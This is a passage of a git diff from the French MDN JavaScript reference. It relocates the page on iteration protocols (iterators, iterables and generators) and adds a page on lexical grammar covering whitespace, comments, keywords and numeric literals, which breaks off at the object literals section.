    • Qui vaut false lorsque l'itérateur a pu produire la prochaine valeur de la suite. Si on ne définit pas la propriété done, on aura ce comportement par défaut.
      • +
    +
    • +
  • value : n'importe quelle valeur JavaScript, renvoyée par l'itérateur. Cette propriété peut être absente lorsque done vaut true.
    • +
+ +

La méthode next doit toujours renvoyer un objet contenant les propriétés done et value. Si c'est une valeur primitive qui est renvoyée (ex. false ou undefined), une exception {{jsxref("TypeError")}} sera levée ("iterator.next() returned a non-object value").

+
+ +

Certains itérateurs sont des itérables :

+ +
var unTableau = [1, 5, 7];
+var élémentsDuTableau = unTableau.entries();
+
+élémentsDuTableau.toString();    // "[object Array Iterator]"
+élémentsDuTableau === élémentsDuTableau[Symbol.iterator]();    // true
+
+ +

Exemples d'utilisation des protocoles d'itération

+ +

Une {{jsxref("String")}} est un exemple d'objet natif itérable :

+ +
var uneChaîne = "coucou";
+typeof uneChaîne[Symbol.iterator];           // "function"
+
+ +

L'itérateur par défaut d'un objet String renverra les caractères de la chaîne les uns à la suite des autres :

+ +
var itérateur = uneChaîne[Symbol.iterator]();
+itérateur + "";     // "[object String Iterator]"
+
+itérateur.next();  // { value: "c", done: false }
+itérateur.next();  // { value: "o", done: false }
+itérateur.next();  // { value: "u", done: false }
+itérateur.next();  // { value: "c", done: false }
+itérateur.next();  // { value: "o", done: false }
+itérateur.next();  // { value: "u", done: false }
+itérateur.next();  // { value: undefined, done: true }
+ +

Certains éléments natifs du langage, tels que la syntaxe de décomposition, utilisent ce même protocole :

+ +
[...uneChaîne];   // ["c", "o", "u", "c", "o", "u"]
+ +

Il est possible de redéfinir le comportement par défaut en définissant soi-même le symbole @@iterator :

+ +
var uneChaîne = new String("yo");          // on construit un objet String explicitement afin d'éviter la conversion automatique
+
+uneChaîne[Symbol.iterator] = function() {
+  return { // l'objet itérateur qui renvoie un seul élément, la chaîne "bop"
+    next: function() {
+      if (this._first) {
+        this._first = false;
+        return { value: "bop", done: false };
+      } else {
+        return { done: true };
+      }
+    },
+    _first: true
+  };
+};
+
+ +

On notera que redéfinir le symbole @@iterator affecte également le comportement des éléments du langage qui utilisent le protocole :

+ +
[...uneChaîne];  // ["bop"]
+uneChaîne + "";  // "yo"
+
+ +

Exemples d'itérables

+ +

Les itérables natifs

+ +

{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} et {{jsxref("Set")}} sont des itérables natifs car leurs prototypes possèdent une méthode @@iterator.

+ +

Les itérables définis par l'utilisateur

+ +

Il est possible de construire un itérable dans un script de la façon suivante :

+ +
var monItérable = {};
+monItérable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...monItérable]; // [1, 2, 3]
+
+ +

Les API natives utilisant des itérables

+ +

Plusieurs API utilisent les itérables, par exemple : {{jsxref("Map", "Map([itérable])")}}, {{jsxref("WeakMap", "WeakMap([itérable])")}}, {{jsxref("Set", "Set([itérable])")}} et {{jsxref("WeakSet", "WeakSet([itérable])")}} :

+ +
var monObjet = {};
+new Map([[1,"a"],[2,"b"],[3,"c"]]).get(2);  // "b"
+new WeakMap([[{},"a"],[monObjet,"b"],[{},"c"]]).get(monObjet); // "b"
+new Set([1, 2, 3]).has(3);    // true
+new Set("123").has("2");      // true
+new WeakSet(function*() {
+    yield {};
+    yield monObjet;
+    yield {};
+}()).has(monObjet);           // true
+
+ +

ainsi que {{jsxref("Promise.all", "Promise.all(itérable)")}}, {{jsxref("Promise.race", "Promise.race(itérable)")}}, {{jsxref("Array.from", "Array.from()")}}

+ +

Les éléments de syntaxe utilisant des itérables

+ +

Certains éléments du langage utilisent des itérables, par exemple : for..of, la syntaxe de décomposition, yield*, l'affectation par décomposition :

+ +
for(let value of ["a", "b", "c"]){
+    console.log(value);
+}
+// "a"
+// "b"
+// "c"
+
+[..."abc"]; // ["a", "b", "c"]
+
+function* gen(){
+  yield* ["a", "b", "c"];
+}
+
+gen().next(); // { value:"a", done:false }
+
+[a, b, c] = new Set(["a", "b", "c"]);
+a; // "a"
+
+
+ +

Itérables mal-formés

+ +

Si une méthode @@iterator d'un objet itérable ne renvoie pas d'objet itérateur, on dira que cet objet est un itérable mal-formé. Utiliser de tels itérables peut provoquer des exceptions lors de l'exécution ou un comportement erratique :

+ +
var itérableMalFormé = {}
+itérableMalFormé[Symbol.iterator] = () => 1
+[...itérableMalFormé] // TypeError: [] is not a function
+
+ +

Exemples d'itérateurs

+ +

Un itérateur simple

+ +
function créerItérateur(tableau){
+    var nextIndex = 0;
+
+    return {
+       next: function(){
+           return nextIndex < tableau.length ?
+               {value: tableau[nextIndex++], done: false} :
+               {done: true};
+       }
+    }
+}
+
+var it = créerItérateur(['yo', 'ya']);
+
+console.log(it.next().value); // 'yo'
+console.log(it.next().value); // 'ya'
+console.log(it.next().done);  // true
+
+ +

Un itérateur infini

+ +
function créateurID(){
+    var index = 0;
+
+    return {
+       next: function(){
+           return {value: index++, done: false};
+       }
+    };
+}
+
+var it = créateurID();
+
+console.log(it.next().value); // '0'
+console.log(it.next().value); // '1'
+console.log(it.next().value); // '2'
+// ...
+
+ +

Avec un générateur

+ +
function* créerUnGénérateurSimple(tableau){
+    var nextIndex = 0;
+
+    while(nextIndex < tableau.length){
+        yield tableau[nextIndex++];
+    }
+}
+
+var gen = créerUnGénérateurSimple(['yo', 'ya']);
+
+console.log(gen.next().value); // 'yo'
+console.log(gen.next().value); // 'ya'
+console.log(gen.next().done);  // true
+
+function* créateurID(){
+    var index = 0;
+    while(true)
+        yield index++;
+}
+
+var gen = créateurID();
+
+console.log(gen.next().value); // '0'
+console.log(gen.next().value); // '1'
+console.log(gen.next().value); // '2'
+
+ +

Avec une classe ECMAScript 2015 (ES6)

+ +
class ClasseSimple {
+  constructor(data) {
+    this.index = 0;
+    this.data = data;
+  }
+
+  [Symbol.iterator]() {
+    return {
+      next: () => {
+        if (this.index < this.data.length) {
+          return {value: this.data[this.index++], done: false};
+        } else {
+          this.index = 0;
+          // En réinitialisant l'index, on peut
+          // "reprendre" l'itérateure sans avoir
+          // à gérer de mise à jour manuelle
+          return {done: true};
+        }
+      }
+    };
+  }
+}
+
+const simple = new ClasseSimple([1,2,3,4,5]);
+
+for (const val of simple) {
+  console.log(val);  // '1' '2' '3' '4' '5'
+}
+
+ +

Un générateur est-il un itérateur ou un itérable ?

+ +

Les deux réponses sont correctes :

+ +
var unObjetGénérateur = function*(){
+    yield 1;
+    yield 2;
+    yield 3;
+}()
+typeof unObjetGénérateur.next
+// "function", car il possède une fonction next, c'est donc un itérateur
+typeof unObjetGénérateur[Symbol.iterator]
+// "function", car il possède une méthode @@iterator, c'est donc un itérable
+unObjetGénérateur[Symbol.iterator]() === unObjetGénérateur
+// vrai car la méthode @@iterator renvoie elle-même, un itérateur, c'est donc un itérable bien formé
+[...unObjetGénérateur]
+// [1, 2, 3]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-iteration', 'Iteration')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-iteration', 'Iteration')}}{{Spec2('ESDraft')}} 
+ +

Voir aussi

+ +
    +
  • Pour plus d'informations sur les générateurs définis par ES2015, voir la page dédiée.
    • +
diff --git a/files/fr/web/javascript/reference/les_protocoles_iteration/index.html b/files/fr/web/javascript/reference/les_protocoles_iteration/index.html deleted file mode 100644 index 26a89a63e8..0000000000 --- a/files/fr/web/javascript/reference/les_protocoles_iteration/index.html +++ /dev/null @@ -1,353 +0,0 @@ ---- -title: Les protocoles d'itération -slug: Web/JavaScript/Reference/Les_protocoles_iteration -tags: - - ECMAScript 2015 - - Intermédiaire - - Iterator - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Iteration_protocols ---- -
{{jsSidebar("More")}}
- -

Un des ajouts à ECMAScript 2015 (ES6) n'est ni une nouvelle syntaxe ni un nouvel objet natif mais des protocoles. Ces protocoles peuvent être implémentés par n'importe quel objet qui respecte certaines conventions.

- -

Il existe deux protocoles concernant l'itération : le protocole « itérable » et le protocole « itérateur ».

- -

Le protocole « itérable »

- -

Le protocole « itérable » permet aux objets JavaScript de définir ou de personnaliser leur comportement lors d'une itération, par exemple la façon dont les valeurs seront parcourues avec une boucle {{jsxref("Instructions/for...of", "for..of")}}. Certains types natifs tels que {{jsxref("Array")}} ou {{jsxref("Map")}} possèdent un comportement itératif par défaut, d'autres types, comme {{jsxref("Object")}} n'ont pas ce type de comportement.

- -

Afin d'être itérable, un objet doit implémenter la méthode @@iterator, cela signifie que l'objet (ou un des objets de sa chaîne de prototypes) doit avoir une propriété avec une clé @@iterator qui est accessible via {{jsxref("Symbol.iterator")}} :

- - - - - - - - - - - - - - -
PropriétéValeur
[Symbol.iterator]Une fonction sans argument qui renvoie un objet conforme au protocole itérateur.
- -

Lorsqu'on doit itérer sur un objet (ex. : au début d'une boucle for..of), sa méthode @@iterator est appelée sans argument et l'itérateur qui est renvoyé est utilisé afin d'obtenir les valeurs sur lesquelles itérer.

- -

Le protocole « itérateur »

- -

Le protocole « itérateur » définit une façon standard pour produire une suite de valeurs (finie ou infinie) ainsi qu'une valeur de retour lorsque toutes les valeurs ont été générées.

- -

Un objet est considéré comme un itérateur lorsqu'il implémente une méthode next() avec la sémantique suivante :

- - - - - - - - - - - - -
PropriétéValeur
next -

Une fonction sans argument qui renvoie un objet qui possède au moins deux propriétés :

- -
    -
  • done (un booléen) - -
      -
    • Qui vaut true lorsque l'itérateur a fini la suite. Dans ce cas, la propriété value sera facultative et permettra de spécifier la valeur de retour de l'itérateur. Les valeurs de retour sont détaillées ici.
      • -
    • Qui vaut false lorsque l'itérateur a pu produire la prochaine valeur de la suite. Si on ne définit pas la propriété done, on aura ce comportement par défaut.
      • -
    -
    • -
  • value : n'importe quelle valeur JavaScript, renvoyée par l'itérateur. Cette propriété peut être absente lorsque done vaut true.
    • -
- -

La méthode next doit toujours renvoyer un objet contenant les propriétés done et value. Si c'est une valeur primitive qui est renvoyée (ex. false ou undefined), une exception {{jsxref("TypeError")}} sera levée ("iterator.next() returned a non-object value").

-
- -

Certains itérateurs sont des itérables :

- -
var unTableau = [1, 5, 7];
-var élémentsDuTableau = unTableau.entries();
-
-élémentsDuTableau.toString();    // "[object Array Iterator]"
-élémentsDuTableau === élémentsDuTableau[Symbol.iterator]();    // true
-
- -

Exemples d'utilisation des protocoles d'itération

- -

Une {{jsxref("String")}} est un exemple d'objet natif itérable :

- -
var uneChaîne = "coucou";
-typeof uneChaîne[Symbol.iterator];           // "function"
-
- -

L'itérateur par défaut d'un objet String renverra les caractères de la chaîne les uns à la suite des autres :

- -
var itérateur = uneChaîne[Symbol.iterator]();
-itérateur + "";     // "[object String Iterator]"
-
-itérateur.next();  // { value: "c", done: false }
-itérateur.next();  // { value: "o", done: false }
-itérateur.next();  // { value: "u", done: false }
-itérateur.next();  // { value: "c", done: false }
-itérateur.next();  // { value: "o", done: false }
-itérateur.next();  // { value: "u", done: false }
-itérateur.next();  // { value: undefined, done: true }
- -

Certains éléments natifs du langage, tels que la syntaxe de décomposition, utilisent ce même protocole :

- -
[...uneChaîne];   // ["c", "o", "u", "c", "o", "u"]
- -

Il est possible de redéfinir le comportement par défaut en définissant soi-même le symbole @@iterator :

- -
var uneChaîne = new String("yo");          // on construit un objet String explicitement afin d'éviter la conversion automatique
-
-uneChaîne[Symbol.iterator] = function() {
-  return { // l'objet itérateur qui renvoie un seul élément, la chaîne "bop"
-    next: function() {
-      if (this._first) {
-        this._first = false;
-        return { value: "bop", done: false };
-      } else {
-        return { done: true };
-      }
-    },
-    _first: true
-  };
-};
-
- -

On notera que redéfinir le symbole @@iterator affecte également le comportement des éléments du langage qui utilisent le protocole :

- -
[...uneChaîne];  // ["bop"]
-uneChaîne + "";  // "yo"
-
- -

Exemples d'itérables

- -

Les itérables natifs

- -

{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} et {{jsxref("Set")}} sont des itérables natifs car leurs prototypes possèdent une méthode @@iterator.

- -

Les itérables définis par l'utilisateur

- -

Il est possible de construire un itérable dans un script de la façon suivante :

- -
var monItérable = {};
-monItérable[Symbol.iterator] = function* () {
-    yield 1;
-    yield 2;
-    yield 3;
-};
-[...monItérable]; // [1, 2, 3]
-
- -

Les API natives utilisant des itérables

- -

Plusieurs API utilisent les itérables, par exemple : {{jsxref("Map", "Map([itérable])")}}, {{jsxref("WeakMap", "WeakMap([itérable])")}}, {{jsxref("Set", "Set([itérable])")}} et {{jsxref("WeakSet", "WeakSet([itérable])")}} :

- -
var monObjet = {};
-new Map([[1,"a"],[2,"b"],[3,"c"]]).get(2);  // "b"
-new WeakMap([[{},"a"],[monObjet,"b"],[{},"c"]]).get(monObjet); // "b"
-new Set([1, 2, 3]).has(3);    // true
-new Set("123").has("2");      // true
-new WeakSet(function*() {
-    yield {};
-    yield monObjet;
-    yield {};
-}()).has(monObjet);           // true
-
- -

ainsi que {{jsxref("Promise.all", "Promise.all(itérable)")}}, {{jsxref("Promise.race", "Promise.race(itérable)")}}, {{jsxref("Array.from", "Array.from()")}}

- -

Les éléments de syntaxe utilisant des itérables

- -

Certains éléments du langage utilisent des itérables, par exemple : for..of, la syntaxe de décomposition, yield*, l'affectation par décomposition :

- -
for(let value of ["a", "b", "c"]){
-    console.log(value);
-}
-// "a"
-// "b"
-// "c"
-
-[..."abc"]; // ["a", "b", "c"]
-
-function* gen(){
-  yield* ["a", "b", "c"];
-}
-
-gen().next(); // { value:"a", done:false }
-
-[a, b, c] = new Set(["a", "b", "c"]);
-a; // "a"
-
-
- -

Itérables mal-formés

- -

Si une méthode @@iterator d'un objet itérable ne renvoie pas d'objet itérateur, on dira que cet objet est un itérable mal-formé. Utiliser de tels itérables peut provoquer des exceptions lors de l'exécution ou un comportement erratique :

- -
var itérableMalFormé = {}
-itérableMalFormé[Symbol.iterator] = () => 1
-[...itérableMalFormé] // TypeError: [] is not a function
-
- -

Exemples d'itérateurs

- -

Un itérateur simple

- -
function créerItérateur(tableau){
-    var nextIndex = 0;
-
-    return {
-       next: function(){
-           return nextIndex < tableau.length ?
-               {value: tableau[nextIndex++], done: false} :
-               {done: true};
-       }
-    }
-}
-
-var it = créerItérateur(['yo', 'ya']);
-
-console.log(it.next().value); // 'yo'
-console.log(it.next().value); // 'ya'
-console.log(it.next().done);  // true
-
- -

Un itérateur infini

- -
function créateurID(){
-    var index = 0;
-
-    return {
-       next: function(){
-           return {value: index++, done: false};
-       }
-    };
-}
-
-var it = créateurID();
-
-console.log(it.next().value); // '0'
-console.log(it.next().value); // '1'
-console.log(it.next().value); // '2'
-// ...
-
- -

Avec un générateur

- -
function* créerUnGénérateurSimple(tableau){
-    var nextIndex = 0;
-
-    while(nextIndex < tableau.length){
-        yield tableau[nextIndex++];
-    }
-}
-
-var gen = créerUnGénérateurSimple(['yo', 'ya']);
-
-console.log(gen.next().value); // 'yo'
-console.log(gen.next().value); // 'ya'
-console.log(gen.next().done);  // true
-
-function* créateurID(){
-    var index = 0;
-    while(true)
-        yield index++;
-}
-
-var gen = créateurID();
-
-console.log(gen.next().value); // '0'
-console.log(gen.next().value); // '1'
-console.log(gen.next().value); // '2'
-
- -

Avec une classe ECMAScript 2015 (ES6)

- -
class ClasseSimple {
-  constructor(data) {
-    this.index = 0;
-    this.data = data;
-  }
-
-  [Symbol.iterator]() {
-    return {
-      next: () => {
-        if (this.index < this.data.length) {
-          return {value: this.data[this.index++], done: false};
-        } else {
-          this.index = 0;
-          // En réinitialisant l'index, on peut
-          // "reprendre" l'itérateure sans avoir
-          // à gérer de mise à jour manuelle
-          return {done: true};
-        }
-      }
-    };
-  }
-}
-
-const simple = new ClasseSimple([1,2,3,4,5]);
-
-for (const val of simple) {
-  console.log(val);  // '1' '2' '3' '4' '5'
-}
-
- -

Un générateur est-il un itérateur ou un itérable ?

- -

Les deux réponses sont correctes :

- -
var unObjetGénérateur = function*(){
-    yield 1;
-    yield 2;
-    yield 3;
-}()
-typeof unObjetGénérateur.next
-// "function", car il possède une fonction next, c'est donc un itérateur
-typeof unObjetGénérateur[Symbol.iterator]
-// "function", car il possède une méthode @@iterator, c'est donc un itérable
-unObjetGénérateur[Symbol.iterator]() === unObjetGénérateur
-// vrai car la méthode @@iterator renvoie elle-même, un itérateur, c'est donc un itérable bien formé
-[...unObjetGénérateur]
-// [1, 2, 3]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-iteration', 'Iteration')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-iteration', 'Iteration')}}{{Spec2('ESDraft')}} 
- -

Voir aussi

- -
    -
  • Pour plus d'informations sur les générateurs définis par ES2015, voir la page dédiée.
    • -
diff --git a/files/fr/web/javascript/reference/lexical_grammar/index.html b/files/fr/web/javascript/reference/lexical_grammar/index.html new file mode 100644 index 0000000000..62931aa6a4 --- /dev/null +++ b/files/fr/web/javascript/reference/lexical_grammar/index.html @@ -0,0 +1,593 @@ +--- +title: Grammaire lexicale +slug: Web/JavaScript/Reference/Grammaire_lexicale +tags: + - Avancé + - Grammaire + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Lexical_grammar +--- +
{{JsSidebar("More")}}
+ +

Cette page décrit la grammaire lexicale de JavaScript. Le code source d'un script ECMAScript est analysé de gauche à droite et est converti en une série d'éléments qui sont : des jetons, des caractères de contrôle, des terminateurs de lignes, des commentaires ou des blancs. ECMAScript définit également certains mots-clés et littéraux. ECMAScript possède également des règles pour insérer automatiquement des points-virgules à la fin des instructions.

+ +

Caractères de contrôle

+ +

Les caractères de contrôle n'ont aucune représentation visuelle mais sont utilisés pour contrôler l'interprétation du texte.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Caractères de contrôle au format Unicode
Point de codeNomAbréviationDescription
U+200CAntiliant sans chasse (zero width non-joiner en anglais)<ZWNJ>Placé entre des caractères pour empêcher qu'ils soient connectés par une ligature dans certaines langues (Wikipédia).
U+200DLiant sans chasse (zero width joiner en anglais)<ZWJ>Placé entre des caractères qui ne seraient normalement pas connectés pour les afficher comme connectés dans certaines langues (Wikipédia).
U+FEFFIndicateur d'ordre des octets (byte order mark en anglais)<BOM>Utilisé au début d'un script pour indiquer qu'il est en Unicode et quel est l'ordre des octets (Wikipedia).
+ +

Blancs

+ +

Les caractères d'espacement (blancs) sont utilisés pour des raisons de lisibilité et permetttent de séparer les différents fragments entre eux. Ces caractères sont généralement inutiles au code. Les outils de minification sont souvent utilisés pour retirer les blancs afin de réduire le volume de données à transférer.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Caractères d'espacament
Point de codeNomAbréviationDescriptionSéquence d'échappement
U+0009Tabulation (horizontale)<HT>Tabulation horizontale\t
U+000BTabulation verticale<VT>Tabulation verticale\v
U+000CCaractère de saut de page (form feed en anglais)<FF>Caractère de contrôle pour le saut de page (Wikipédia).\f
U+0020Espace sécable (space en anglais)<SP>Espace sécable
U+00A0Espace insécable (no-break space en anglais)<NBSP>Espace insécable
AutresAutres caractères d'espaces Unicode<USP>Espaces Unicode sur Wikipédia
+ +

Terminateurs de lignes

+ +

En plus des blancs, les caractères de fin de ligne (terminateurs de lignes) sont utilisés pour améliorer la lisibilité du texte. Cependant, dans certains cas, les terminateurs de lignes peuvent influencer l'exécution du code JavaScript là où ils sont interdits. Les terminateurs de lignes affectent également le processus d'insertion automatique des points-virgules. Les terminateurs de lignes correspondent à la classe \s des expressions rationnelles.

+ +

Seuls les points de code Unicode qui suivent sont traités comme des fins de lignes en ECMAScript, les autres caractères sont traités comme des blancs (par exemple : Next Line (nouvelle ligne) : NEL, U+0085 est considéré comme un blanc).

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Caractères de fin de ligne
Point de codeNomAbréviationDescriptionSéquence d'échappement
U+000ANouvelle ligne<LF>Caractère de nouvelle ligne pour les systèmes UNIX.\n
U+000DRetour chariot<CR>Caractère de nouvelle ligne pour les systèmes Commodore et les premiers Mac.\r
U+2028Séparateur de ligne<LS>Wikipédia
U+2029Séparateur de paragraphe<PS>Wikipédia
+ +

Commentaires

+ +

Les commentaires sont utilisés pour fournir des notes, des suggestions, des indications ou des avertissements sur le code JavaScript. Cela peut en faciliter la lecture et la compréhension. Ils peuvent également être utilisés pour empêcher l'exécution d'un certain code ; cela peut être pratique lors du débogage.

+ +

En JavaScript, Il existe actuellement deux façons de former des commentaires (cf. ci-après pour une troisième méthode en cours de discussion).

+ +

Commentaire sur une ligne

+ +

La première façon est d'utiliser // (double barre oblique), pour commenter tout le texte qui suit (sur la même ligne). Par exemple :

+ +
function comment() {
+  // Voici un commentaire d'une ligne en JavaScript
+  console.log("Hello world !");
+}
+comment();
+
+ +

Commentaire sur plusieurs lignes

+ +

La seconde façon est d'utiliser /* */, qui est plus flexible.

+ +

Il est possible d'utiliser cette forme sur une seule ligne :

+ +
function comment() {
+  /* Voici un commentaire d'une ligne en JavaScript */
+  console.log("Hello world !");
+}
+comment();
+ +

Mais également sur plusieurs lignes, comme ceci :

+ +
function comment() {
+ /* Ce commentaire s'étend sur plusieurs lignes. Il n'y a
+    pas besoin de clore le commentaire avant d'avoir
+     fini. */
+  console.log("Hello world !");
+}
+comment();
+ +

Il est également possible d'utiliser un commentaire au milieu d'une ligne. En revanche, cela rend le code plus difficile à lire et devrait être utilisé avec attention :

+ +
function comment(x) {
+  console.log("Hello " + x /* insérer la valeur de x */ + " !");
+}
+comment("world");
+ +

On peut également encadrer du code pour l'empêcher d'être exécuté. Par exemple :

+ +
function comment() {
+  /* console.log("Hello world !"); */
+}
+comment();
+ +

Ici, l'appel console.log() n'a jamais lieu car il fait partie d'un commentaire. On peut ainsi désactiver plusieurs lignes de code d'un coup.

+ +

Commentaire d'environnement (hashbang)

+ +

Une troisième syntaxe, en cours de standardisation par ECMAScript, permet d'indiquer l'environnement dans lequel est exécuté le script via un commentaire hashbang. Un tel commentaire commence par #! et est uniquement valide au tout début du script ou du module (aucun espace/blanc n'est autorisé avant #!). Un tel commentaire ne tient que sur une seule ligne et il ne peut y avoir qu'un seul commentaire de ce type.

+ +
#!/usr/bin/env node
+
+console.log("Coucou le monde");
+
+ +

Les commentaires d'environnements sont conçus pour fonctionner comme les shebangs qu'on peut trouver sous Unix et indiquent l'interpréteur à utiliser pour exécuter le script ou le module.

+ +
+

Attention ! Bien qu'utiliser un BOM avant le hashbang fonctionne dans un navigateur, cela n'est pas conseillé. En effet, un BOM empêchera le bon fonctionnement sous Unix/Linux. Utilisez un encodage UTF-8 sans BOM si vous souhaitez exécuter vos scripts depuis une invite de commande.

+
+ +

Si vous souhaitez placer un commentaire en début de fichier sans indiquer d'environnement d'exécution spécifique, on pourra utiliser le commentaire classique avec //.

+ +

Mots-clés

+ +

Mots-clés réservés selon ECMAScript 2015

+ +
+
    +
  • {{jsxref("Instructions/break", "break")}}
    • +
  • {{jsxref("Instructions/switch", "case")}}
    • +
  • {{jsxref("Opérateurs/class","class")}}
    • +
  • {{jsxref("Instructions/try...catch", "catch")}}
    • +
  • {{jsxref("Instructions/const", "const")}}
    • +
  • {{jsxref("Instructions/continue", "continue")}}
    • +
  • {{jsxref("Instructions/debugger", "debugger")}}
    • +
  • {{jsxref("Instructions/default", "default")}}
    • +
  • {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}
    • +
  • {{jsxref("Instructions/while", "do")}}
    • +
  • {{jsxref("Instructions/if...else", "else")}}
    • +
  • {{jsxref("Instructions/export", "export")}}
    • +
  • {{jsxref("Classes/extends","extends")}}
    • +
  • {{jsxref("Instructions/try...catch", "finally")}}
    • +
  • {{jsxref("Instructions/for", "for")}}
    • +
  • {{jsxref("Instructions/function", "function")}}
    • +
  • {{jsxref("Instructions/if...else", "if")}}
    • +
  • {{jsxref("Instructions/import", "import")}}
    • +
  • {{jsxref("Instructions/for...in", "in")}}
    • +
  • {{jsxref("Opérateurs/instanceof", "instanceof")}}
    • +
  • {{jsxref("Opérateurs/L_opérateur_new", "new")}}
    • +
  • {{jsxref("Instructions/return", "return")}}
    • +
  • {{jsxref("Opérateurs/super", "super")}}
    • +
  • {{jsxref("Instructions/switch", "switch")}}
    • +
  • {{jsxref("Opérateurs/L_opérateur_this", "this")}}
    • +
  • {{jsxref("Instructions/throw", "throw")}}
    • +
  • {{jsxref("Instructions/try...catch", "try")}}
    • +
  • {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}}
    • +
  • {{jsxref("Instructions/var", "var")}}
    • +
  • {{jsxref("Opérateurs/L_opérateur_void", "void")}}
    • +
  • {{jsxref("Instructions/while", "while")}}
    • +
  • {{jsxref("Instructions/with", "with")}}
    • +
  • {{jsxref("Opérateurs/yield","yield")}}
    • +
+
+ +

Mots-clés réservés pour le futur

+ +

Les mots-clés qui suivent ont été réservés pour une utilisation future dans la spécification ECMAScript. Ils n'ont actuellement aucune utilité mais pourrait être utilisés par la suite. Ils ne peuvent donc pas être utilisés comme identifiants. Ces mots-clés ne peuvent être utilisés ni en mode strict ni en mode non strict.

+ +
    +
  • enum
    • +
  • await (lorsqu'il est utilisé dans le contexte d'un module)
    • +
+ +

Les mots-clés suivants sont réservés dans du code en mode strict :

+ +
+
    +
  • implements
    • +
  • {{jsxref("Instructions/let", "let")}}
    • +
  • package
    • +
  • protected
    • +
  • static
    • +
  • interface
    • +
  • private
    • +
  • public
    • +
+
+ +

Mots-clés réservés pour un usage future dans les anciens standards

+ +

Les mots-clés suivants sont réservés dans les anciennes spécifications ECMAScript (ECMAScript 1 à 3).

+ +
+
    +
  • abstract
    • +
  • boolean
    • +
  • byte
    • +
  • char
    • +
  • double
    • +
  • final
    • +
  • float
    • +
  • goto
    • +
  • int
    • +
  • long
    • +
  • native
    • +
  • short
    • +
  • synchronized
    • +
  • throws
    • +
  • transient
    • +
  • volatile
    • +
+
+ +

Par ailleurs, les littéraux null, true, et false sont réservés dans ECMAScript pour leur usage normal.

+ +

Utilisation des mots-clés réservés

+ +

Les mots-clés réservés ne le sont que pour les identifiants (et non pour les IdentifierNames) . Comme décrit dans es5.github.com/#A.1, dans l'exemple qui suit, on a, légalement, des IdentifierNames qui utilisent des ReservedWords.

+ +
a.import
+a["import"]
+a = { import: "test" }.
+
+ +

En revanche, dans ce qui suit, c'est illégal car c'est un identifiant. Un identifiant peut être un IdentifierName mais pas un mot-clé réservé. Les identifiants sont utilisés pour les FunctionDeclaration (déclarations de fonction), les FunctionExpression (expressions de fonction), les VariableDeclaration (déclarations de variable).

+ +
function import() {} // Illégal.
+ +

Littéraux

+ +

Littéral null

+ +

Voir aussi la page {{jsxref("null")}} pour plus d'informations.

+ +
null
+ +

Littéraux booléens

+ +

Voir aussi la page {{jsxref("Boolean")}} pour plus d'informations.

+ +
true
+false
+ +

Littéraux numériques

+ +

Décimaux

+ +
1234567890
+42
+
+// Attention à l'utilisation de zéros en début :
+
+0888 // 888 est compris comme décimal
+0777 // est compris comme octal et égale 511 en décimal
+
+ +

Les littéraux décimaux peuvent commencer par un zéro (0) suivi d'un autre chiffre. Mais si tous les chiffres après le 0 sont (strictement) inférieurs à 8, le nombre sera analysé comme un nombre octal. Cela n'entraînera pas d'erreur JavaScript, voir {{bug(957513)}}. Voir aussi la page sur {{jsxref("parseInt", "parseInt()")}}.

+ +

Binaires

+ +

La représentation binaire des nombres peut être utilisée avec une syntaxe qui comporte un zéro (0) suivi par le caractère latin "B" (minuscule ou majuscule) (0b ou 0B). Cette syntaxe est apparue avec ECMAScript 2015 et il faut donc faire attention au tableau de compatibilité pour cette fonctionnalité. Si les chiffres qui composent le nombre ne sont pas 0 ou 1, cela entraînera une erreur {{jsxref("SyntaxError")}} : "Missing binary digits after 0b".

+ +
var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607
+ +

Octaux

+ +

La syntaxe pour représenter des nombres sous forme octale est : un zéro (0), suivi par la lettre latine "O" (minuscule ou majuscule) (ce qui donne 0o ou 0O). Cette syntaxe est apparue avec ECMAScript 2015 et il faut donc faire attention au tableau de compatibilité pour cette fonctionnalité. Si les chiffres qui composent le nombre ne sont pas compris entre 0 et 7, cela entraînera une erreur {{jsxref("SyntaxError")}} : "Missing octal digits after 0o".

+ +
var n = 0O755; // 493
+var m = 0o644; // 420
+
+// Aussi possible en utilisant des zéros en début du nombre (voir la note ci-avant)
+0755
+0644
+
+ +

Hexadécimaux

+ +

Les littéraux hexadécimaux ont pour syntaxe : un zéro (0), suivi par la lettre latine "X" (minuscule ou majuscule) (ce qui donne 0x ou 0X). Si les chiffres qui composent le nombre sont en dehors des unités hexadécimales (0123456789ABCDEF), cela entraînera une erreur {{jsxref("SyntaxError")}} : "Identifier starts immediately after numeric literal".

+ +
0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+
+ +

Littéraux BigInt

+ +

Le type {{jsxref("BigInt")}} est un type numérique primitif de JavaScript qui permet de représenter des entiers avec une précision arbitraire. De tels littéraux s'écrivent en ajoutant un n à la fin d'un entier.

+ +
123456789123456789n (nombre décimal, en base 10)
+0o7777777777777777n (nombre octal, en base 8)
+0x123456789ABCDEF1n (nombre hexadécimal, en base 16)
+0b0101010101110101n (nombre binaire, en base 2)
+
+ +

Voir aussi le paragraphe sur les grands entiers/BigInt sur les structures de données en JavaScript.

+ +

Littéraux objets

+ +

